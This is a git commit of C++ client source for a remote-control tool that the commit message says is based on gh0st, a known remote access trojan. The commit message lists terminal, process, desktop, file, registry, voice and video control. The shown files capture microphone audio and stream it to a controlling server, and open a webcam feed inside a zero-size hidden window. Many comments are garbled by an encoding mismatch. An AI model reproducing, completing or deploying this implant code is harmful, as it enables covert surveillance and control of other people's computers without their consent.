基于gh0st的远程控制器

实现了终端管理、进程管理、窗口管理、桌面管理、文件管理、语音管理、视频管理、服务管理、注册表管理等功能。
This commit is contained in:
yuanyuanxiang
2019-01-05 20:21:43 +08:00
parent 3a66916242
commit 27fcb6284e
136 changed files with 33399 additions and 0 deletions

237
client/Audio.cpp Normal file
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// Audio.cpp: implementation of the CAudio class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "Audio.h"
#include <iostream>
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CAudio::CAudio()
{
m_bExit = FALSE;
m_hThreadCallBack = false;
m_bIsWaveInUsed = FALSE;
m_bIsWaveOutUsed = FALSE;
m_nWaveInIndex = 0;
m_nWaveOutIndex = 0;
m_hEventWaveIn = CreateEvent(NULL, TRUE, FALSE, NULL);
m_hStartRecord = CreateEvent(NULL, TRUE, FALSE, NULL);
memset(&m_GSMWavefmt, 0, sizeof(GSM610WAVEFORMAT));
m_GSMWavefmt.wfx.wFormatTag = WAVE_FORMAT_GSM610;
m_GSMWavefmt.wfx.nChannels = 1;
m_GSMWavefmt.wfx.nSamplesPerSec = 8000;
m_GSMWavefmt.wfx.nAvgBytesPerSec = 1625;
m_GSMWavefmt.wfx.nBlockAlign = 65;
m_GSMWavefmt.wfx.wBitsPerSample = 0;
m_GSMWavefmt.wfx.cbSize = 2;
m_GSMWavefmt.wSamplesPerBlock = 320;
m_ulBufferLength = 1000;
int i = 0;
for (i = 0; i < 2; i++)
{
m_InAudioData[i] = new BYTE[m_ulBufferLength];
m_InAudioHeader[i] = new WAVEHDR;
m_OutAudioData[i] = new BYTE[m_ulBufferLength];
m_OutAudioHeader[i] = new WAVEHDR;
}
}
CAudio::~CAudio()
{
m_bExit = TRUE;
if (m_bIsWaveInUsed)
{
waveInStop(m_hWaveIn);
waveInReset(m_hWaveIn);
for (int i = 0; i < 2; i++)
waveInUnprepareHeader(m_hWaveIn, m_InAudioHeader[i], sizeof(WAVEHDR));
waveInClose(m_hWaveIn);
WAIT (m_hThreadCallBack, 30);
if (m_hThreadCallBack)
printf("û<EFBFBD>гɹ<EFBFBD><EFBFBD>ر<EFBFBD>waveInCallBack.\n");
}
for (int i = 0; i < 2; i++)
{
delete [] m_InAudioData[i];
m_InAudioData[i] = NULL;
delete [] m_InAudioHeader[i];
m_InAudioHeader[i] = NULL;
}
if (m_hEventWaveIn)
{
SetEvent(m_hEventWaveIn);
CloseHandle(m_hEventWaveIn);
m_hEventWaveIn = NULL;
}
if (m_hStartRecord)
{
SetEvent(m_hStartRecord);
CloseHandle(m_hStartRecord);
m_hStartRecord = NULL;
}
if (m_bIsWaveOutUsed)
{
waveOutReset(m_hWaveOut);
for (int i = 0; i < 2; i++)
waveOutUnprepareHeader(m_hWaveOut, m_InAudioHeader[i], sizeof(WAVEHDR));
waveOutClose(m_hWaveOut);
}
for (int i = 0; i < 2; i++)
{
delete [] m_OutAudioData[i];
m_OutAudioData[i] = NULL;
delete [] m_OutAudioHeader[i];
m_OutAudioHeader[i] = NULL;
}
}
BOOL CAudio::InitializeWaveIn()
{
MMRESULT mmResult;
DWORD dwThreadID = 0;
HANDLE h = NULL;
m_hThreadCallBack = h = CreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE)waveInCallBack, (LPVOID)this,
CREATE_SUSPENDED, &dwThreadID);
//<2F><><EFBFBD><EFBFBD>¼<EFBFBD><C2BC><EFBFBD>豸COM 1 ָ<><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 2 ֧<><D6A7>ͨ<EFBFBD><CDA8><EFBFBD>̻߳ص<CCBB> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
mmResult = waveInOpen(&m_hWaveIn, (WORD)WAVE_MAPPER,
&(m_GSMWavefmt.wfx), (LONG)dwThreadID, (LONG)0, CALLBACK_THREAD);
//m_hWaveIn ¼<><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (mmResult != MMSYSERR_NOERROR)
{
return FALSE;
}
//¼<><C2BC><EFBFBD><20><>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
for (int i=0; i<2; i++)
{
m_InAudioHeader[i]->lpData = (LPSTR)m_InAudioData[i]; //m_lpInAudioData ָ<><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_InAudioHeader[i]->dwBufferLength = m_ulBufferLength;
m_InAudioHeader[i]->dwFlags = 0;
m_InAudioHeader[i]->dwLoops = 0;
waveInPrepareHeader(m_hWaveIn, m_InAudioHeader[i], sizeof(WAVEHDR));
}
waveInAddBuffer(m_hWaveIn, m_InAudioHeader[m_nWaveInIndex], sizeof(WAVEHDR));
ResumeThread(h);
CloseHandle(h);
waveInStart(m_hWaveIn); //¼<><C2BC>
m_bIsWaveInUsed = TRUE;
return true;
}
LPBYTE CAudio::GetRecordBuffer(LPDWORD dwBufferSize)
{
//¼<><C2BC><EFBFBD><EFBFBD>
if(m_bIsWaveInUsed==FALSE && InitializeWaveIn()==FALSE)
{
return NULL;
}
if (dwBufferSize == NULL)
{
return NULL;
}
SetEvent(m_hStartRecord);
WaitForSingleObject(m_hEventWaveIn, INFINITE);
*dwBufferSize = m_ulBufferLength;
return m_InAudioData[m_nWaveInIndex]; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
}
DWORD WINAPI CAudio::waveInCallBack(LPVOID lParam)
{
CAudio *This = (CAudio *)lParam;
MSG Msg;
while (GetMessage(&Msg, NULL, 0, 0))
{
if (This->m_bExit)
break;
if (Msg.message == MM_WIM_DATA)
{
SetEvent(This->m_hEventWaveIn);
WaitForSingleObject(This->m_hStartRecord, INFINITE);
Sleep(1);
This->m_nWaveInIndex = 1 - This->m_nWaveInIndex;
//<2F><><EFBFBD>»<EFBFBD><C2BB><EFBFBD>
MMRESULT mmResult = waveInAddBuffer(This->m_hWaveIn,
This->m_InAudioHeader[This->m_nWaveInIndex], sizeof(WAVEHDR));
if (mmResult != MMSYSERR_NOERROR)
return -1;
}
if (Msg.message == MM_WIM_CLOSE)
{
break;
}
TranslateMessage(&Msg);
DispatchMessage(&Msg);
}
std::cout<<"waveInCallBack end\n";
This->m_hThreadCallBack = false;
return 0;
}
BOOL CAudio::PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize)
{
if (!m_bIsWaveOutUsed && !InitializeWaveOut()) //1 <20><>Ƶ<EFBFBD><C6B5>ʽ 2 <20><><EFBFBD><EFBFBD><EFBFBD>
return NULL;
for (int i = 0; i < dwBufferSize; i += m_ulBufferLength)
{
memcpy(m_OutAudioData[m_nWaveOutIndex], szBuffer, m_ulBufferLength);
waveOutWrite(m_hWaveOut, m_OutAudioHeader[m_nWaveOutIndex], sizeof(WAVEHDR));
m_nWaveOutIndex = 1 - m_nWaveOutIndex;
}
return true;
}
BOOL CAudio::InitializeWaveOut()
{
if (!waveOutGetNumDevs())
return FALSE;
int i;
for (i = 0; i < 2; i++)
memset(m_OutAudioData[i], 0, m_ulBufferLength); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
MMRESULT mmResult;
mmResult = waveOutOpen(&m_hWaveOut, (WORD)WAVE_MAPPER, &(m_GSMWavefmt.wfx), (LONG)0, (LONG)0, CALLBACK_NULL);
if (mmResult != MMSYSERR_NOERROR)
return false;
for (i = 0; i < 2; i++)
{
m_OutAudioHeader[i]->lpData = (LPSTR)m_OutAudioData[i];
m_OutAudioHeader[i]->dwBufferLength = m_ulBufferLength;
m_OutAudioHeader[i]->dwFlags = 0;
m_OutAudioHeader[i]->dwLoops = 0;
waveOutPrepareHeader(m_hWaveOut, m_OutAudioHeader[i], sizeof(WAVEHDR));
}
m_bIsWaveOutUsed = TRUE;
return TRUE;
}

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// Audio.h: interface for the CAudio class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_AUDIO_H__56854DE7_5FE4_486F_9AFC_CE3726EF7CBC__INCLUDED_)
#define AFX_AUDIO_H__56854DE7_5FE4_486F_9AFC_CE3726EF7CBC__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include <MMSYSTEM.H>
#include <MMReg.h>
class CAudio
{
public:
CAudio();
virtual ~CAudio();
GSM610WAVEFORMAT m_GSMWavefmt;
ULONG m_ulBufferLength;
LPWAVEHDR m_InAudioHeader[2]; //<2F><><EFBFBD><EFBFBD>ͷ
LPBYTE m_InAudioData[2]; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
HANDLE m_hEventWaveIn;
HANDLE m_hStartRecord; //<2F><><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD>
HWAVEIN m_hWaveIn; //<2F><EFBFBD><E8B1B8><EFBFBD><EFBFBD>
DWORD m_nWaveInIndex;
bool m_hThreadCallBack;
static DWORD WINAPI waveInCallBack(LPVOID lParam); //<2F><><EFBFBD>͵<EFBFBD><CDB5><EFBFBD><EFBFBD>ض<EFBFBD>
LPBYTE CAudio::GetRecordBuffer(LPDWORD dwBufferSize);
BOOL CAudio::InitializeWaveIn();
BOOL m_bIsWaveInUsed;
HWAVEOUT m_hWaveOut;
BOOL m_bExit;
BOOL m_bIsWaveOutUsed;
DWORD m_nWaveOutIndex;
LPWAVEHDR m_OutAudioHeader[2]; //<2F><><EFBFBD><EFBFBD>ͷ
LPBYTE m_OutAudioData[2]; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
BOOL CAudio::PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize);
BOOL CAudio::InitializeWaveOut();
};
#endif // !defined(AFX_AUDIO_H__56854DE7_5FE4_486F_9AFC_CE3726EF7CBC__INCLUDED_)

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// AudioManager.cpp: implementation of the CAudioManager class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "AudioManager.h"
#include "Common.h"
#include <Mmsystem.h>
#include <IOSTREAM>
using namespace std;
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CAudioManager::CAudioManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
{
m_bIsWorking = FALSE;
m_AudioObject = NULL;
if (Initialize()==FALSE)
{
return;
}
BYTE bToken = TOKEN_AUDIO_START;
m_ClientObject->OnServerSending((char*)&bToken, 1);
WaitForDialogOpen(); //<2F>ȴ<EFBFBD><C8B4>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_hWorkThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread,
(LPVOID)this, 0, NULL);
}
VOID CAudioManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
switch(szBuffer[0])
{
case COMMAND_NEXT:
{
NotifyDialogIsOpen();
break;
}
default:
{
m_AudioObject->PlayBuffer(szBuffer, ulLength);
break;
}
}
}
DWORD CAudioManager::WorkThread(LPVOID lParam) //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
{
CAudioManager *This = (CAudioManager *)lParam;
while (This->m_bIsWorking)
{
This->SendRecordBuffer();
}
cout<<"CAudioManager WorkThread end\n";
return 0;
}
int CAudioManager::SendRecordBuffer()
{
DWORD dwBufferSize = 0;
DWORD dwReturn = 0;
//<2F><><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD> <20><>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD>
LPBYTE szBuffer = m_AudioObject->GetRecordBuffer(&dwBufferSize);
if (szBuffer == NULL)
return 0;
//<2F><><EFBFBD><EFBFBD><E4BBBA><EFBFBD><EFBFBD>
LPBYTE szPacket = new BYTE[dwBufferSize + 1];
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
szPacket[0] = TOKEN_AUDIO_DATA; //<2F><><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7>͸<EFBFBD><CDB8><EFBFBD>Ϣ
//<2F><><EFBFBD>ƻ<EFBFBD><C6BB><EFBFBD><EFBFBD><EFBFBD>
memcpy(szPacket + 1, szBuffer, dwBufferSize);
//<2F><><EFBFBD>ͳ<EFBFBD>ȥ
if (dwBufferSize > 0)
{
dwReturn = m_ClientObject->OnServerSending((char*)szPacket, dwBufferSize + 1);
}
delete szPacket;
return dwReturn;
}
CAudioManager::~CAudioManager()
{
m_bIsWorking = FALSE; //<2F><EFBFBD><E8B6A8><EFBFBD><EFBFBD>״̬Ϊ<CCAC><CEAA>
WaitForSingleObject(m_hWorkThread, INFINITE); //<2F>ȴ<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>߳̽<DFB3><CCBD><EFBFBD>
if (m_AudioObject!=NULL)
{
delete m_AudioObject;
m_AudioObject = NULL;
}
}
//USB
BOOL CAudioManager::Initialize()
{
if (!waveInGetNumDevs()) //<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><E8B1B8><EFBFBD><EFBFBD>Ŀ ʵ<>ʾ<EFBFBD><CABE>ǿ<EFBFBD><C7BF><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
return FALSE;
// SYS SYS P
// <20><><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9><EFBFBD><EFBFBD>.. <20><>ֹ<EFBFBD>ظ<EFBFBD>ʹ<EFBFBD><CAB9>
if (m_bIsWorking==TRUE)
{
return FALSE;
}
m_AudioObject = new CAudio; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_bIsWorking = TRUE;
return TRUE;
}

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// AudioManager.h: interface for the CAudioManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_AUDIOMANAGER_H__B47ECAB3_9810_4031_9E2E_BC34825CAD74__INCLUDED_)
#define AFX_AUDIOMANAGER_H__B47ECAB3_9810_4031_9E2E_BC34825CAD74__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "Manager.h"
#include "Audio.h"
class CAudioManager : public CManager
{
public:
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
BOOL Initialize();
CAudioManager(IOCPClient* ClientObject, int n);
virtual ~CAudioManager();
BOOL m_bIsWorking;
HANDLE m_hWorkThread;
static DWORD WorkThread(LPVOID lParam);
int CAudioManager::SendRecordBuffer();
CAudio* m_AudioObject;
};
#endif // !defined(AFX_AUDIOMANAGER_H__B47ECAB3_9810_4031_9E2E_BC34825CAD74__INCLUDED_)

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#include "StdAfx.h"
#include "Buffer.h"
#include <math.h>
#define U_PAGE_ALIGNMENT 3
#define F_PAGE_ALIGNMENT 3.0
CBuffer::CBuffer(void)
{
m_ulMaxLength = 0;
m_Ptr = m_Base = NULL;
InitializeCriticalSection(&m_cs);
}
CBuffer::~CBuffer(void)
{
if (m_Base)
{
VirtualFree(m_Base, 0, MEM_RELEASE);
m_Base = NULL;
}
DeleteCriticalSection(&m_cs);
m_Base = m_Ptr = NULL;
m_ulMaxLength = 0;
}
ULONG CBuffer::ReadBuffer(PBYTE Buffer, ULONG ulLength)
{
EnterCriticalSection(&m_cs);
if (ulLength > GetBufferMaxLength())
{
LeaveCriticalSection(&m_cs);
return 0;
}
if (ulLength > GetBufferLength())
{
ulLength = GetBufferLength();
}
if (ulLength)
{
CopyMemory(Buffer,m_Base,ulLength);
MoveMemory(m_Base,m_Base+ulLength,GetBufferMaxLength() - ulLength);
m_Ptr -= ulLength;
}
DeAllocateBuffer(GetBufferLength());
LeaveCriticalSection(&m_cs);
return ulLength;
}
ULONG CBuffer::DeAllocateBuffer(ULONG ulLength)
{
if (ulLength < GetBufferLength())
return 0;
ULONG ulNewMaxLength = (ULONG)ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT;
if (GetBufferMaxLength() <= ulNewMaxLength)
{
return 0;
}
PBYTE NewBase = (PBYTE) VirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE);
ULONG ulv1 = GetBufferLength(); //<2F><>ԭ<EFBFBD><D4AD><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD><EFBFBD>
CopyMemory(NewBase,m_Base,ulv1);
VirtualFree(m_Base,0,MEM_RELEASE);
m_Base = NewBase;
m_Ptr = m_Base + ulv1;
m_ulMaxLength = ulNewMaxLength;
return m_ulMaxLength;
}
BOOL CBuffer::WriteBuffer(PBYTE Buffer, ULONG ulLength)
{
EnterCriticalSection(&m_cs);
if (ReAllocateBuffer(ulLength + GetBufferLength()) == -1)//10 +1 1024
{
LeaveCriticalSection(&m_cs);
return false;
}
CopyMemory(m_Ptr,Buffer,ulLength);//Hello 5
m_Ptr+=ulLength;
LeaveCriticalSection(&m_cs);
return TRUE;
}
ULONG CBuffer::ReAllocateBuffer(ULONG ulLength)
{
if (ulLength < GetBufferMaxLength())
return 0;
ULONG ulNewMaxLength = (ULONG)ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT;
PBYTE NewBase = (PBYTE) VirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE);
if (NewBase == NULL)
{
return -1;
}
ULONG ulv1 = GetBufferLength(); //ԭ<>ȵ<EFBFBD><C8B5><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
CopyMemory(NewBase,m_Base,ulv1);
if (m_Base)
{
VirtualFree(m_Base,0,MEM_RELEASE);
}
m_Base = NewBase;
m_Ptr = m_Base + ulv1; //1024
m_ulMaxLength = ulNewMaxLength; //2048
return m_ulMaxLength;
}
VOID CBuffer::ClearBuffer()
{
EnterCriticalSection(&m_cs);
m_Ptr = m_Base;
DeAllocateBuffer(1024);
LeaveCriticalSection(&m_cs);
}
ULONG CBuffer::GetBufferLength() //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
{
if (m_Base == NULL)
return 0;
return (ULONG)m_Ptr - (ULONG)m_Base;
}
ULONG CBuffer::GetBufferMaxLength()
{
return m_ulMaxLength;
}
PBYTE CBuffer::GetBuffer(ULONG ulPos)
{
if (m_Base==NULL)
{
return NULL;
}
if (ulPos>=GetBufferLength())
{
return NULL;
}
return m_Base+ulPos;
}

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#pragma once
#include <Windows.h>
class CBuffer
{
public:
CBuffer(void);
~CBuffer(void);
ULONG CBuffer::GetBufferMaxLength();
ULONG CBuffer::ReadBuffer(PBYTE Buffer, ULONG ulLength);
ULONG CBuffer::GetBufferLength(); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>;
ULONG CBuffer::DeAllocateBuffer(ULONG ulLength);
VOID CBuffer::ClearBuffer();
ULONG CBuffer::ReAllocateBuffer(ULONG ulLength);
BOOL CBuffer::WriteBuffer(PBYTE Buffer, ULONG ulLength);
PBYTE CBuffer::GetBuffer(ULONG ulPos=0);
protected:
PBYTE m_Base;
PBYTE m_Ptr;
ULONG m_ulMaxLength;
CRITICAL_SECTION m_cs;
};

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// CaptureVideo.cpp: implementation of the CCaptureVideo class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "CaptureVideo.h"
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CSampleGrabberCB mCB;
CCaptureVideo::CCaptureVideo()
{
if(FAILED(CoInitialize(NULL)))
{
return;
}
m_pCapture = NULL;
m_pGB = NULL;
m_pMC = NULL;
m_pVW = NULL;
}
CCaptureVideo::~CCaptureVideo()
{
if(m_pMC)m_pMC->StopWhenReady();
if(m_pVW){
m_pVW->put_Visible(OAFALSE);
m_pVW->put_Owner(NULL);
}
SAFE_RELEASE(m_pMC);
SAFE_RELEASE(m_pVW);
SAFE_RELEASE(m_pGB);
SAFE_RELEASE(m_pBF);
SAFE_RELEASE(m_pGrabber);
CoUninitialize() ;
}
//!!<21>Ҳ<EFBFBD><D2B2><EFBFBD><EFBFBD><EFBFBD>
HRESULT CCaptureVideo::Open(int iDeviceID,int iPress)
{
HRESULT hResult;
hResult = InitCaptureGraphBuilder(); //
if (FAILED(hResult))
{
return hResult;
}
if(!BindVideoFilter(iDeviceID, &m_pBF)) //FDo
return S_FALSE;
hResult = m_pGB->AddFilter(m_pBF, L"Capture Filter");
hResult = CoCreateInstance(CLSID_SampleGrabber, NULL, CLSCTX_INPROC_SERVER,
IID_ISampleGrabber, (void**)&m_pGrabber); //<2F><><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>
if(FAILED(hResult))
{
return hResult;
}
//m_pGrabber <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 1 <20><>ʽ 2 <20>ڴ滺<DAB4><E6BBBA><EFBFBD><EFBFBD>ʽ
CComQIPtr<IBaseFilter, &IID_IBaseFilter> pGrabBase(m_pGrabber);//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><C6B5>ʽ
AM_MEDIA_TYPE mt; //<2F><>Ƶ<EFBFBD><C6B5>ʽ
ZeroMemory(&mt, sizeof(AM_MEDIA_TYPE));
mt.majortype = MEDIATYPE_Video;
mt.subtype = MEDIASUBTYPE_RGB24; // MEDIASUBTYPE_RGB24 ;
hResult = m_pGrabber->SetMediaType(&mt);
if( FAILED( hResult ))
{
return hResult;
}
hResult = m_pGB->AddFilter( pGrabBase,L"Grabber");
if( FAILED(hResult))
{
return hResult;
}
hResult = m_pCapture->RenderStream(&PIN_CATEGORY_PREVIEW, //<2F><>̬
&MEDIATYPE_Video,m_pBF,pGrabBase,NULL);
if( FAILED(hResult))
{
hResult = m_pCapture->RenderStream(&PIN_CATEGORY_CAPTURE,&MEDIATYPE_Video,m_pBF,pGrabBase,NULL);
//<2F><>׽
}
if( FAILED(hResult))
{
return hResult;
}
hResult = m_pGrabber->GetConnectedMediaType(&mt);
if (FAILED( hResult) )
{
return hResult;
}
//3 <20><>׽<EFBFBD><D7BD><EFBFBD><EFBFBD> FDO һ<><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݾͽ<DDBE><CDBD><EFBFBD> <20>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>
VIDEOINFOHEADER * vih = (VIDEOINFOHEADER*) mt.pbFormat;
//mCB <20>Ǹ<EFBFBD><C7B8><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>ȫ<EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD> <20>и<EFBFBD><D0B8>ص<EFBFBD>
mCB.m_ulFullWidth = vih->bmiHeader.biWidth;
mCB.m_ulFullHeight = vih->bmiHeader.biHeight;
FreeMediaType(mt);
hResult = m_pGrabber->SetBufferSamples( FALSE ); //<2F>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD>
hResult = m_pGrabber->SetOneShot( FALSE );
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD><EFBFBD>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD> Ҳ<><D2B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD>ʱ<EFBFBD>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>BufferCB<43><42><EFBFBD><EFBFBD>
//<2F><><EFBFBD><EFBFBD>OnTimer
hResult = m_pGrabber->SetCallback(&mCB, 1);
m_hWnd = CreateWindow("#32770",
"", WS_POPUP, 0, 0, 0, 0, NULL, NULL, NULL, NULL);
SetupVideoWindow(); //<2F><><EFBFBD>δ<EFBFBD><CEB4><EFBFBD>
hResult = m_pMC->Run(); //<2F><><EFBFBD><EFBFBD>
if(FAILED(hResult))
{
return hResult;
}
return S_OK;
}
HRESULT CCaptureVideo::InitCaptureGraphBuilder()
{
HRESULT hResult;
hResult = CoCreateInstance(CLSID_CaptureGraphBuilder2 , NULL, CLSCTX_INPROC,
IID_ICaptureGraphBuilder2, (void**)&m_pCapture); //<2F><>ʵ<EFBFBD>
if (FAILED(hResult))
{
return hResult;
}
hResult=CoCreateInstance(CLSID_FilterGraph, NULL, CLSCTX_INPROC_SERVER,
IID_IGraphBuilder, (void**)&m_pGB); //<2F><><EFBFBD><EFBFBD><EFBFBD>
if (FAILED(hResult))
{
return hResult;
}
//<2F><><EFBFBD><EFBFBD><EFBFBD>˰󶨵<CBB0><F3B6A8B5><EFBFBD>ʵ<EFBFBD><EFBFBD><E8B1B8><EFBFBD><EFBFBD>
m_pCapture->SetFiltergraph(m_pGB);
hResult = m_pGB->QueryInterface(IID_IMediaControl,(LPVOID*)&m_pMC);
if (FAILED(hResult))
{
return hResult;
}
//???
hResult = m_pGB->QueryInterface(IID_IVideoWindow,(LPVOID*) &m_pVW);
if (FAILED(hResult))
{
return hResult;
}
return hResult;
}
LPBITMAPINFO CCaptureVideo::GetBmpInfor()
{
return mCB.GetBmpInfor(); //<2F><><EFBFBD><EFBFBD>λͼ<CEBB>ڴ<EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
}
BOOL CCaptureVideo::BindVideoFilter(int deviceId, IBaseFilter **pFilter)
{
if (deviceId < 0)
return FALSE;// enumerate all video capture devices
CComPtr<ICreateDevEnum> pCreateDevEnum;
HRESULT hr = CoCreateInstance(CLSID_SystemDeviceEnum, NULL, CLSCTX_INPROC_SERVER,
IID_ICreateDevEnum, (void**)&pCreateDevEnum);
if (hr != NOERROR)
{
return FALSE;
}
CComPtr<IEnumMoniker> pEm;
hr = pCreateDevEnum->CreateClassEnumerator(CLSID_VideoInputDeviceCategory,&pEm, 0);
if (hr != NOERROR)
{
return FALSE;
}
pEm->Reset();
ULONG cFetched;
IMoniker *pM;
int index = 0;
while(hr = pEm->Next(1, &pM, &cFetched), hr==S_OK, index <= deviceId)
{
IPropertyBag *pBag;
//ͨ<><CDA8>BindToStorage <20><><EFBFBD>Է<EFBFBD><D4B7>ʸ<EFBFBD><CAB8><EFBFBD>ı<EFBFBD>ʶ<EFBFBD><CAB6>
hr = pM->BindToStorage(0, 0, IID_IPropertyBag, (void **)&pBag);
if(SUCCEEDED(hr))
{
VARIANT var;
var.vt = VT_BSTR;
hr = pBag->Read(L"FriendlyName", &var, NULL);
if (hr == NOERROR)
{
if (index == deviceId)
{
pM->BindToObject(0, 0, IID_IBaseFilter, (void**)pFilter);
}
SysFreeString(var.bstrVal);
}
pBag->Release(); //<2F><><EFBFBD>ü<EFBFBD><C3BC><EFBFBD>--
}
pM->Release();
index++;
}
return TRUE;
}
void CCaptureVideo::FreeMediaType(AM_MEDIA_TYPE& mt)
{
if (mt.cbFormat != 0) {
CoTaskMemFree((PVOID)mt.pbFormat);
mt.cbFormat = 0;
mt.pbFormat = NULL;
}
if (mt.pUnk != NULL) {
mt.pUnk->Release();
mt.pUnk = NULL;
}
}
HRESULT CCaptureVideo::SetupVideoWindow()
{
HRESULT hr;
hr = m_pVW->put_Owner((OAHWND)m_hWnd);
if (FAILED(hr))return hr;
hr = m_pVW->put_WindowStyle(WS_CHILD | WS_CLIPCHILDREN);
if (FAILED(hr))return hr;
ResizeVideoWindow();
hr = m_pVW->put_Visible(OATRUE);
return hr;
}
void CCaptureVideo::ResizeVideoWindow()
{
if (m_pVW){
RECT rc;
::GetClientRect(m_hWnd,&rc);
m_pVW->SetWindowPosition(0, 0, rc.right, rc.bottom); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD>0 0 0 0 <20><>
}
}
void CCaptureVideo::SendEnd() //<2F><><EFBFBD>ͽ<EFBFBD><CDBD><EFBFBD> <20><><EFBFBD>ÿ<EFBFBD><C3BF><EFBFBD><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>
{
